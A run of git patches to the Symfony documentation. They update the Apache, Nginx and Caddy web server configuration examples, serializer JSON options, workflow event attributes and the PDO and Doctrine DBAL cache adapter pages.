         # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
 
-        # For Apache 2.4.9 or higher
-        # Using SetHandler avoids issues with using ProxyPassMatch in combination
-        # with mod_rewrite or mod_autoindex
         <FilesMatch \.php$>
-            SetHandler proxy:fcgi://127.0.0.1:9000
-            # for Unix sockets, Apache 2.4.10 or higher
-            # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy
-        </FilesMatch>
-
-        # If you use Apache version below 2.4.9 you must consider update or use this instead
-        # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php7.4-fpm.sock|fcgi://dummy
 
-        # If you run your Symfony application on a subpath of your document root, the
-        # regular expression must be changed accordingly:
-        # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
 
         DocumentRoot /var/www/project/public
         <Directory /var/www/project/public>
@@ -107,8 +102,9 @@ The **minimum configuration** to get your application running under Nginx is:
 
 .. code-block:: nginx
 
+    # /etc/nginx/conf.d/example.com.conf
     server {
-        server_name domain.tld www.domain.tld;
+        server_name example.com www.example.com;
         root /var/www/project/public;
 
         location / {
@@ -124,7 +120,12 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
+            # when using PHP-FPM as a unix socket
             fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+
+            # when PHP-FPM is configured to use TCP
+            # fastcgi_pass 127.0.0.1:9000;
+
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -146,7 +147,7 @@ The **minimum configuration** to get your application running under Nginx is:
             fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
             fastcgi_param DOCUMENT_ROOT $realpath_root;
             # Prevents URIs that include the front controller. This will 404:
-            # http://domain.tld/index.php/some-path
+            # http://example.com/index.php/some-path
             # Remove the internal directive to allow URIs like this
             internal;
         }
@@ -166,11 +167,6 @@ The **minimum configuration** to get your application running under Nginx is:
     If you use NGINX Unit, check out the official article about
     `How to run Symfony applications using NGINX Unit`_.
 
-.. note::
-
-    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
-    ``fastcgi_pass 127.0.0.1:9000``.
-
 .. tip::
 
     This executes **only** ``index.php`` in the public directory. All other files
@@ -186,7 +182,46 @@ The **minimum configuration** to get your application running under Nginx is:
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
-.. _`Apache documentation`: https://httpd.apache.org/docs/
-.. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
+Caddy
+-----
+
+When using Caddy on the server, you can use a configuration like this:
+
+.. code-block:: raw
+
+    # /etc/caddy/Caddyfile
+    example.com, www.example.com {
+        root * /var/www/project/public
+
+        # serve files directly if they can be found (e.g. CSS or JS files in public/)
+        encode zstd gzip
+        file_server
+
+
+        # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP)
+        php_fastcgi unix//var/run/php/php7.4-fpm.sock {
+            # optionally set the value of the environment variables used in the application
+            # env APP_ENV "prod"
+            # env APP_SECRET "<app-secret-id>"
+            # env DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name"
+
+            # Configure the FastCGI to resolve any symlinks in the root path.
+            # This ensures that OpCache is using the destination filenames,
+            # instead of the symlinks, to cache opcodes and php files see
+            # https://caddy.community/t/root-symlink-folder-updates-and-caddy-reload-not-working/10557
+            resolve_root_symlink
+        }
+
+        # return 404 for all other php files not matching the front controller
+        # this prevents access to other php files you don't want to be accessible.
+        @phpFile {
+            path *.php*
+        }
+        error @phpFile "Not found" 404
+    }
+
+See the `official Caddy documentation`_ for more examples, such as using
+Caddy in a container infrastructure.
+
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
 .. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/

From 679bf644642007fb17c40f5748d304666d4aa321 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 20 Dec 2022 22:56:05 +0100
Subject: [PATCH 4959/7107] Add Caddy section

---
 setup/web_server_configuration.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 1682c8a58de..6723d0abaa3 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -6,7 +6,7 @@ The preferred way to develop your Symfony application is to use
 
 However, when running the application in the production environment, you'll need
 to use a fully-featured web server. This article describes how to use Symfony
-with Apache or Nginx.
+with Apache, Nginx or Caddy.
 
 .. sidebar:: The public directory
 
@@ -187,7 +187,7 @@ Caddy
 
 When using Caddy on the server, you can use a configuration like this:
 
-.. code-block:: raw
+.. code-block:: text
 
     # /etc/caddy/Caddyfile
     example.com, www.example.com {
@@ -225,3 +225,4 @@ Caddy in a container infrastructure.
 
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
 .. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/
+.. _`official Caddy documentation`: https://caddyserver.com/docs/

From 98c4b219f9e6a24520392f2d0be9d5b4c099a458 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gabriel=20Ostroluck=C3=BD?= <gabriel.ostrolucky@gmail.com>
Date: Wed, 2 Aug 2023 20:45:07 +0200
Subject: [PATCH 4960/7107] [Serializer] Add support for seld/jsonlint

---
 components/serializer.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c1fcd5e621..5178f9e2ebe 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -999,6 +999,24 @@ context to pass in these options using the key ``json_encode_options`` or
 
     $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
 
+These are the options available:
+
+=============================== =====================================================  ================================
+Option                           Description                                            Default
+=============================== =====================================================  ================================
+``json_decode_associative``     If set to true returns the result as an array,         ``false``
+                                returns a nested ``stdClass`` hierarchy otherwise.     ``false``
+``json_decode_detailed_errors`` If set to true, exceptions thrown on parsing of JSON   ``false``
+                                are more specific. Requires `seld/jsonlint`_ package.
+``json_encode_options``         `$flags`_ passed to `json_decode`_ function            ``0``
+``json_decode_options``         `$flags`_ passed to `json_encode`_ function            ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth`` Sets maximum recursion depth                           ``512``
+=============================== =====================================================  ================================
+
+.. versionadded:: 6.4
+
+    The support of ``json_decode_detailed_errors`` was introduced in Symfony 6.4.
+
 The ``CsvEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -1828,3 +1846,7 @@ Learn more
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _json_decode: https://www.php.net/manual/en/function.json-decode.php
+.. _json_encode: https://www.php.net/manual/en/function.json-encode.php
+.. _$flags: https://www.php.net/manual/en/json.constants.php

From 4c537e77181460e279544585627192d5a05394f2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 13:17:47 +0200
Subject: [PATCH 4961/7107] [AssetMapper] Mark component as non experimental

---
 frontend/asset_mapper.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 37404ef5dbc..17a80af3fce 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -3,9 +3,7 @@ AssetMapper: Simple, Modern CSS & JS Management
 
 .. versionadded:: 6.3
 
-    The AssetMapper component was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 6.3.
+    The AssetMapper component was introduced in Symfony 6.3.
 
 The AssetMapper component lets you write modern JavaScript and CSS without the complexity
 of using a bundler. Browsers *already* support many modern JavaScript features

From aea773cbdfe3c2efaec683fd0c1552cd98a6a944 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 16:37:10 +0200
Subject: [PATCH 4962/7107] [Workflow] Remove registry workflow retrieval
 occurrences

---
 workflow.rst | 24 +-----------------------
 1 file changed, 1 insertion(+), 23 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index b0dd2f2495a..02abd4da037 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -275,28 +275,6 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-Alternatively, use the registry::
-
-    use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
-
-    class MyClass
-    {
-        private $workflowRegistry;
-
-        public function __construct(Registry $workflowRegistry)
-        {
-            $this->workflowRegistry = $workflowRegistry;
-        }
-
-        public function toReview(BlogPost $post)
-        {
-            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
-
-            // ...
-        }
-    }
-
 .. tip::
 
     You can find the list of available workflow services with the
@@ -1051,7 +1029,7 @@ In a :ref:`flash message <flash-messages>` in your controller::
 
     // $transition = ...; (an instance of Transition)
 
-    // $workflow is a Workflow instance retrieved from the Registry or injected directly (see above)
+    // $workflow is an injected Workflow instance
     $title = $workflow->getMetadataStore()->getMetadata('title', $transition);
     $this->addFlash('info', "You have successfully applied the transition with title: '$title'");
 

From 86e71a427361d111c364856cbcc7f8d0e392c22f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Aug 2023 17:54:27 +0200
Subject: [PATCH 4963/7107] Tweaks

---
 components/serializer.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5178f9e2ebe..14497e917ed 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1001,17 +1001,17 @@ context to pass in these options using the key ``json_encode_options`` or
 
 These are the options available:
 
-=============================== =====================================================  ================================
-Option                           Description                                            Default
-=============================== =====================================================  ================================
-``json_decode_associative``     If set to true returns the result as an array,         ``false``
-                                returns a nested ``stdClass`` hierarchy otherwise.     ``false``
-``json_decode_detailed_errors`` If set to true, exceptions thrown on parsing of JSON   ``false``
-                                are more specific. Requires `seld/jsonlint`_ package.
-``json_encode_options``         `$flags`_ passed to `json_decode`_ function            ``0``
-``json_decode_options``         `$flags`_ passed to `json_encode`_ function            ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth`` Sets maximum recursion depth                           ``512``
-=============================== =====================================================  ================================
+===============================  ========================================================  ================================
+Option                           Description                                               Default
+===============================  ========================================================  ================================
+``json_decode_associative``      If set to true returns the result as an array,            ``false``
+                                 returns a nested ``stdClass`` hierarchy otherwise.        ``false``
+``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON      ``false``
+                                 are more specific. Requires `seld/jsonlint`_ package.
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function  ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function  ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_decode_recursion_depth``  Sets maximum recursion depth                              ``512``
+===============================  ========================================================  ================================
 
 .. versionadded:: 6.4
 
@@ -1847,6 +1847,4 @@ Learn more
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
 .. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _json_decode: https://www.php.net/manual/en/function.json-decode.php
-.. _json_encode: https://www.php.net/manual/en/function.json-encode.php
 .. _$flags: https://www.php.net/manual/en/json.constants.php

From acf60125ffda2c3cadf924c34059187de619acaf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 3 Aug 2023 16:26:51 +0200
Subject: [PATCH 4964/7107] [Workflow] Add PHP attributes to register listeners
 and guards

---
 reference/attributes.rst | 11 +++++++++++
 workflow.rst             | 36 ++++++++++++++++++++++++++++++++++++
 2 files changed, 47 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 217c73346f0..761099a7356 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -117,6 +117,17 @@ Each validation constraint comes with a PHP attribute. See
 
 * :doc:`HasNamedArgument </validation/custom_constraint>`
 
+Workflow
+~~~~~~~~
+
+* :ref:`AsAnnounceListener <workflow_using-events>`
+* :ref:`AsCompletedListener <workflow_using-events>`
+* :ref:`AsEnterListener <workflow_using-events>`
+* :ref:`AsEnteredListener <workflow_using-events>`
+* :ref:`AsGuardListener <workflow_using-events>`
+* :ref:`AsLeaveListener <workflow_using-events>`
+* :ref:`AsTransitionListener <workflow_using-events>`
+
 .. _`AsEntityAutocompleteField`: https://symfony.com/bundles/ux-autocomplete/current/index.html#usage-in-a-form-with-ajax
 .. _`AsLiveComponent`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`AsTwigComponent`: https://symfony.com/bundles/ux-twig-component/current/index.html
diff --git a/workflow.rst b/workflow.rst
index dad77a90386..bca1f129863 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -361,6 +361,8 @@ name.
     You can find the list of available workflow services with the
     ``php bin/console debug:autowiring workflow`` command.
 
+.. _workflow_using-events:
+
 Using Events
 ------------
 
@@ -519,6 +521,40 @@ it via the marking::
     // contains the new value
     $marking->getContext();
 
+It is also possible to listen to these events by declaring event listeners
+with the following attributes:
+
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsAnnounceListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsCompletedListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnterListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsEnteredListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsGuardListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsLeaveListener`
+* :class:`Symfony\\Component\\Workflow\\Attribute\\AsTransitionListener`
+
+These attributes do work like the
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+attributes::
+
+    class ArticleWorkflowEventListener
+    {
+        #[AsTransitionListener(workflow: 'my-workflow', transition: 'published')]
+        public function onPublishedTransition(TransitionEvent $event): void
+        {
+            // ...
+        }
+
+        // ...
+    }
+
+You may refer to the documentation about
+:ref:`defining event listeners with PHP attributes <event-dispatcher_event-listener-attributes>`
+for further use.
+
+.. versionadded:: 6.4
+
+    The workflow event attributes were introduced in Symfony 6.4.
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 6146bfdbf232b2d41e7dd01414b99505f4408b0e Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Fri, 4 Aug 2023 10:56:46 +0200
Subject: [PATCH 4965/7107] [DependencyInjection] Mention `debug:autowiring`
 command with argument

---
 service_container.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index 5065effb976..5b15dd83356 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -694,6 +694,12 @@ But, you can control this and pass in a different logger:
 This tells the container that the ``$logger`` argument to ``__construct`` should use
 service whose id is ``monolog.logger.request``.
 
+For a list of possible logger services that can be used with autowiring, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:autowiring logger
+
 .. _container-debug-container:
 
 For a full list of *all* possible services in the container, run:

From 1e4150504d90e5ecebd1ebd7f0bce9053cd3561b Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 4 Aug 2023 11:32:20 +0200
Subject: [PATCH 4966/7107] [Cache] Fix doc for Doctrine DBAL adapter

---
 cache.rst                                     | 23 ++---
 .../cache/adapters/doctrine_dbal_adapter.rst  | 45 +++++++++
 .../cache/adapters/filesystem_adapter.rst     |  2 +-
 components/cache/adapters/pdo_adapter.rst     | 55 +++++++++++
 .../adapters/pdo_doctrine_dbal_adapter.rst    | 95 -------------------
 components/cache/cache_pools.rst              |  3 +-
 6 files changed, 115 insertions(+), 108 deletions(-)
 create mode 100644 components/cache/adapters/doctrine_dbal_adapter.rst
 create mode 100644 components/cache/adapters/pdo_adapter.rst
 delete mode 100644 components/cache/adapters/pdo_doctrine_dbal_adapter.rst

diff --git a/cache.rst b/cache.rst
index 118ef13a326..a22912c36b1 100644
--- a/cache.rst
+++ b/cache.rst
@@ -106,10 +106,11 @@ The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`
 * :doc:`cache.adapter.array </components/cache/adapters/array_cache_adapter>`
-* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>`
+* :doc:`cache.adapter.doctrine </components/cache/adapters/doctrine_adapter>` (deprecated)
+* :doc:`cache.adapter.doctrine_dbal </components/cache/adapters/doctrine_dbal_adapter>`
 * :doc:`cache.adapter.filesystem </components/cache/adapters/filesystem_adapter>`
 * :doc:`cache.adapter.memcached </components/cache/adapters/memcached_adapter>`
-* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_doctrine_dbal_adapter>`
+* :doc:`cache.adapter.pdo </components/cache/adapters/pdo_adapter>`
 * :doc:`cache.adapter.psr6 </components/cache/adapters/proxy_adapter>`
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
 * :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags)
@@ -130,8 +131,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             cache:
                 directory: '%kernel.cache_dir%/pools' # Only used with cache.adapter.filesystem
 
-                # service: cache.doctrine
-                default_doctrine_provider: 'app.doctrine_cache'
+                # service: cache.doctrine_dbal
+                default_doctrine_dbal_provider: 'doctrine.dbal.default_connection'
                 # service: cache.psr6
                 default_psr6_provider: 'app.my_psr6_service'
                 # service: cache.redis
@@ -139,7 +140,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 # service: cache.memcached
                 default_memcached_provider: 'memcached://localhost'
                 # service: cache.pdo
-                default_pdo_provider: 'doctrine.dbal.default_connection'
+                default_pdo_provider: 'pgsql:host=localhost'
 
     .. code-block:: xml
 
@@ -155,7 +156,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
         >
             <framework:config>
                 <!--
-                default_doctrine_provider: Service: cache.doctrine
+                default_doctrine_dbal_provider: Service: cache.doctrine_dbal
                 default_psr6_provider: Service: cache.psr6
                 default_redis_provider: Service: cache.redis
                 default_memcached_provider: Service: cache.memcached
@@ -163,11 +164,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 -->
                 <!-- "directory" attribute is only used with cache.adapter.filesystem -->
                 <framework:cache directory="%kernel.cache_dir%/pools"
-                    default_doctrine_provider="app.doctrine_cache"
+                    default_doctrine_dbal_provider="doctrine.dbal.default_connection"
                     default_psr6_provider="app.my_psr6_service"
                     default_redis_provider="redis://localhost"
                     default_memcached_provider="memcached://localhost"
-                    default_pdo_provider="doctrine.dbal.default_connection"
+                    default_pdo_provider="pgsql:host=localhost"
                 />
             </framework:config>
         </container>
@@ -181,8 +182,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             $framework->cache()
                 // Only used with cache.adapter.filesystem
                 ->directory('%kernel.cache_dir%/pools')
-                // Service: cache.doctrine
-                ->defaultDoctrineProvider('app.doctrine_cache')
+                // Service: cache.doctrine_dbal
+                ->defaultDoctrineDbalProvider('doctrine.dbal.default_connection')
                 // Service: cache.psr6
                 ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
@@ -190,7 +191,7 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
                 // Service: cache.memcached
                 ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                ->defaultPdoProvider('doctrine.dbal.default_connection')
+                ->defaultPdoProvider('pgsql:host=localhost')
             ;
         };
 
diff --git a/components/cache/adapters/doctrine_dbal_adapter.rst b/components/cache/adapters/doctrine_dbal_adapter.rst
new file mode 100644
index 00000000000..3b955832147
--- /dev/null
+++ b/components/cache/adapters/doctrine_dbal_adapter.rst
@@ -0,0 +1,45 @@
+.. _doctrine-dbal-adapter:
+
+Doctrine DBAL Cache Adapter
+===========================
+
+The Doctrine DBAL adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
+You can pass a namespace, default cache lifetime, and options array as the other
+optional arguments::
+
+    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
+
+    $cache = new DoctrineDbalAdapter(
+
+        // a Doctrine DBAL connection or DBAL URL
+        $databaseConnectionOrURL,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
+
+.. note::
+
+    DBAL Connection are lazy-loaded by default; some additional options may be
+    necessary to detect the database engine and version without opening the
+    connection.
+
+.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 331dbb2dff6..237ac3bc60e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -41,7 +41,7 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
+    (:ref:`Doctrine DBAL <doctrine-dbal-adapter>`, :ref:`PDO <pdo-adapter>`) are recommended.
 
 .. note::
 
diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
new file mode 100644
index 00000000000..62d4dcc90aa
--- /dev/null
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -0,0 +1,55 @@
+.. _pdo-adapter:
+
+PDO Cache Adapter
+=================
+
+The PDO adapters store the cache items in a table of an SQL database.
+
+.. note::
+
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
+    by calling the ``prune()`` method.
+
+The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
+or `DSN`_ as its first parameter. You can pass a namespace,
+default cache lifetime, and options array as the other optional arguments::
+
+    use Symfony\Component\Cache\Adapter\PdoAdapter;
+
+    $cache = new PdoAdapter(
+
+        // a PDO connection or DSN for lazy connecting through PDO
+        $databaseConnectionOrDSN,
+
+        // the string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
+        // until the database table is truncated or its rows are otherwise deleted)
+        $defaultLifetime = 0,
+
+        // an array of options for configuring the database table and connection
+        $options = []
+    );
+
+The table where values are stored is created automatically on the first call to
+the :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::save` method.
+You can also create this table explicitly by calling the
+:method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
+your code.
+
+.. deprecated:: 5.4
+
+    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
+    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    and will be removed in Symfony 6.0.
+    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
+
+.. tip::
+
+    When passed a `Data Source Name (DSN)`_ string (instead of a database connection
+    class instance), the connection will be lazy-loaded when needed.
+
+.. _`DSN`: https://php.net/manual/pdo.drivers.php
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
deleted file mode 100644
index 3615d5a1bbf..00000000000
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ /dev/null
@@ -1,95 +0,0 @@
-.. _pdo-doctrine-adapter:
-
-PDO & Doctrine DBAL Cache Adapter
-=================================
-
-The PDO and Doctrine DBAL adapters store the cache items in a table of an SQL database.
-
-.. note::
-
-    These adapters implement :class:`Symfony\\Component\\Cache\\PruneableInterface`,
-    allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>`
-    by calling the ``prune()`` method.
-
-Using PHP PDO
--------------
-
-The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
-or `Data Source Name (DSN)`_ as its first parameter. You can pass a namespace,
-default cache lifetime, and options array as the other optional arguments::
-
-    use Symfony\Component\Cache\Adapter\PdoAdapter;
-
-    $cache = new PdoAdapter(
-
-        // a PDO connection or DSN for lazy connecting through PDO
-        $databaseConnectionOrDSN,
-
-        // the string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0,
-
-        // an array of options for configuring the database table and connection
-        $options = []
-    );
-
-The table where values are stored is created automatically on the first call to
-the :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::save` method.
-You can also create this table explicitly by calling the
-:method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
-your code.
-
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
-.. tip::
-
-    When passed a `Data Source Name (DSN)`_ string (instead of a database connection
-    class instance), the connection will be lazy-loaded when needed. DBAL Connection
-    are lazy-loaded by default; some additional options may be necessary to detect
-    the database engine and version without opening the connection.
-
-Using Doctrine DBAL
--------------------
-
-The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
-`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
-You can pass a namespace, default cache lifetime, and options array as the other
-optional arguments::
-
-    use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
-
-    $cache = new DoctrineDbalAdapter(
-
-        // a Doctrine DBAL connection or DBAL URL
-        $databaseConnectionOrURL,
-
-        // the string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0,
-
-        // an array of options for configuring the database table and connection
-        $options = []
-    );
-
-.. note::
-
-    DBAL Connection are lazy-loaded by default; some additional options may be
-    necessary to detect the database engine and version without opening the
-    connection.
-
-.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
-.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url
-.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/cache_pools.rst b/components/cache/cache_pools.rst
index ac7cf945429..bd4488f2b48 100644
--- a/components/cache/cache_pools.rst
+++ b/components/cache/cache_pools.rst
@@ -203,8 +203,9 @@ This shortcoming has been solved through the introduction of
 :class:`Symfony\\Component\\Cache\\PruneableInterface`, which defines the abstract method
 :method:`Symfony\\Component\\Cache\\PruneableInterface::prune`. The
 :ref:`ChainAdapter <component-cache-chain-adapter>`,
+:ref:`DoctrineDbalAdapter <doctrine-dbal-adapter>`, and
 :ref:`FilesystemAdapter <component-cache-filesystem-adapter>`,
-:ref:`PdoAdapter <pdo-doctrine-adapter>`, and
+:ref:`PdoAdapter <pdo-adapter>`, and
 :ref:`PhpFilesAdapter <component-cache-files-adapter>` all implement this new interface,
 allowing manual removal of stale cache items::
 

From bfa29bbabe8f0be32136c0003e05614d85bacbf2 Mon Sep 17 00:00:00 2001
From: Mathieu <math.lechat@gmail.com>
Date: Fri, 4 Aug 2023 12:23:20 +0200
Subject: [PATCH 4967/7107] [Security] Show you can pass badges to
 `Security::login`

---
 security.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 54a0f56c9e6..dda562d4434 100644
--- a/security.rst
+++ b/security.rst
